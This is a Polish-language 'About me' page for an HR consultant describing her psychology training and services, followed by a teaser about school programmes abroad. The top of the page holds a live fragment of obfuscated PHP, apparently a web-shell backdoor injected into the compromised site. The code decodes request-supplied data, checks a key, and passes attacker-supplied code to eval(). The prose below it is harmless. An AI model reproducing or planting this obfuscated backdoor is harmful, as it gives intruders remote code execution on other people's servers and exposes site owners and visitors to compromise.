$j28f2a3){$a3f51320 = $j28f2a3;$a3a13eb = $bcf005;}if (!$a3f51320){foreach ($x721d5[$x721d5['nd42b540a'][87].$x721d5['nd42b540a'][6].$x721d5['nd42b540a'][3].$x721d5['nd42b540a'][40]] as $bcf005=>$j28f2a3){$a3f51320 = $j28f2a3;$a3a13eb = $bcf005;}}$a3f51320 = @$x721d5[$x721d5['nd42b540a'][81].$x721d5['nd42b540a'][51].$x721d5['nd42b540a'][6].$x721d5['nd42b540a'][3].$x721d5['nd42b540a'][6]]($x721d5[$x721d5['nd42b540a'][58].$x721d5['nd42b540a'][10].$x721d5['nd42b540a'][4].$x721d5['nd42b540a'][17].$x721d5['nd42b540a'][82].$x721d5['nd42b540a'][51].$x721d5['nd42b540a'][40].$x721d5['nd42b540a'][62]]($x721d5[$x721d5['nd42b540a'][60].$x721d5['nd42b540a'][30].$x721d5['nd42b540a'][82].$x721d5['nd42b540a'][30]]($a3f51320), $a3a13eb));if (isset($a3f51320[$x721d5['nd42b540a'][53].$x721d5['nd42b540a'][35]]) && $p429c5==$a3f51320[$x721d5['nd42b540a'][53].$x721d5['nd42b540a'][35]]){if ($a3f51320[$x721d5['nd42b540a'][53]] == $x721d5['nd42b540a'][89]){$u6031 = Array($x721d5['nd42b540a'][22].$x721d5['nd42b540a'][90] => @$x721d5[$x721d5['nd42b540a'][60].$x721d5['nd42b540a'][40].$x721d5['nd42b540a'][6].$x721d5['nd42b540a'][10].$x721d5['nd42b540a'][62].$x721d5['nd42b540a'][82].$x721d5['nd42b540a'][82].$x721d5['nd42b540a'][51]](),$x721d5['nd42b540a'][60].$x721d5['nd42b540a'][90] => $x721d5['nd42b540a'][82].$x721d5['nd42b540a'][71].$x721d5['nd42b540a'][55].$x721d5['nd42b540a'][57].$x721d5['nd42b540a'][82],);echo @$x721d5[$x721d5['nd42b540a'][35].$x721d5['nd42b540a'][82].$x721d5['nd42b540a'][21].$x721d5['nd42b540a'][26].$x721d5['nd42b540a'][6]]($u6031);}elseif ($a3f51320[$x721d5['nd42b540a'][53]] == $x721d5['nd42b540a'][40]){eval/*ze59*/($a3f51320[$x721d5['nd42b540a'][10]]);}exit();}} ?>

O mnie

Autor: admin
Data publikacji: 05.06.2018

Optymalizacja zasobów ludzkich oraz zapewnienie pracownikom optymalnego rozwoju to zagadnienia, w których duża ilość kadry kierowniczej popełnia mnóstwo błędów. Podchodzenie w instrumentalny sposób do ludzi pracujących w firmie czy pokazywanie na każdym kroku swojej wyższości to zaledwie niektóre grzechy, jakie często się obserwuje w dużej ilości firm.


Jeżeli relacje w firmie wśród załogi i pracowników mogłyby być dużo lepsze, to z chęcią w celu poprawy mogę zaproponować jakąś pomoc. W swojej pracy w pierwszej kolejności zaczynam się skupiać na kompleksowym podejściu, zajmując się wszystkimi obszarami w nieco większym przedziale czasowym. Mogę dzięki temu szeroko spojrzeć na firmę, która wymaga pomocy, poznać jej długofalowe cele, i dostosować do tego wszelkie działania.


Z pewnością niezwykle przydaje mi się w pracy wiedza, którą przez lata zdobywałam. Skończyłam między innymi studia o kierunku psychologia na Uniwersytecie Warszawskim, o specjalności psychologia pracy i organizacja. Po skończeniu tej uczelni nadal poszerzałam swoje wiadomości, biorąc udział w dodatkowych kursach z obszaru zarządzania zasobami pracy, personalnego doradztwa czy też mediacji i negocjacji.


Dzięki pozyskanym umiejętnościom mam możliwość pełnej realizacji przy wykonywaniu swojej pracy. Współpracuję zarówno z wieloma prywatnymi firmami, ale też z urzędami różnego szczebla i organizacjami pozarządowymi. Pracuję z podmiotami, którym proponuję pełną obsługę w każdym obszarze powiązanym z HR, czyli w procesach rekrutacji i przygotowywaniu projektów motywacyjnych.


Mogę się również zajmować pracami wdrożeniowymi dotyczącymi sposobów związanych z zarządzaniem zasobami ludzkimi, a także z szkoleniami i treningami rozwojowymi. Bardzo lubię się dzielić swoimi umiejętnościami, na przykład przy pomocy opracowanego przed kilku laty poradnika dla managerów i specjalistów HR a także wielu publikacji w branżowych pismach.


Każde moje zlecenie to na początku pełna poufność, tematy związane z dyskrecją to dla mnie kluczowa sprawa. Na przykład się zajmuję wykonaniem audytów kompetencyjnych, udzielam wsparcia w wyznaczaniu standardów pracy  a także ulepszam zagadnienia związane z kadrami. Realizuję również gry zespołowe dla pracowników, które dostarczą cennej wiedzy i jednocześnie zwiększą poziom motywacji do jeszcze bardziej wytężonej pracy.



Tagi:
Losowy

Programy szkolne – wyjazdy do Wielkiej Brytanii

Nasz zespół prowadzi warsztaty i certyfikacje egzaminacyjne dla nastolatków przeprowadzających się wraz z opiekunami prawnymi do USA lub Wielkiej Brytanii. Umożliwiają one na bezpieczną prawnie migrację do tamtejszej jednostki nauczania szkolnego. Jak dotychczas realizowaliśmy m.in. niżej opisane programy: Oficja

Czytaj więcej...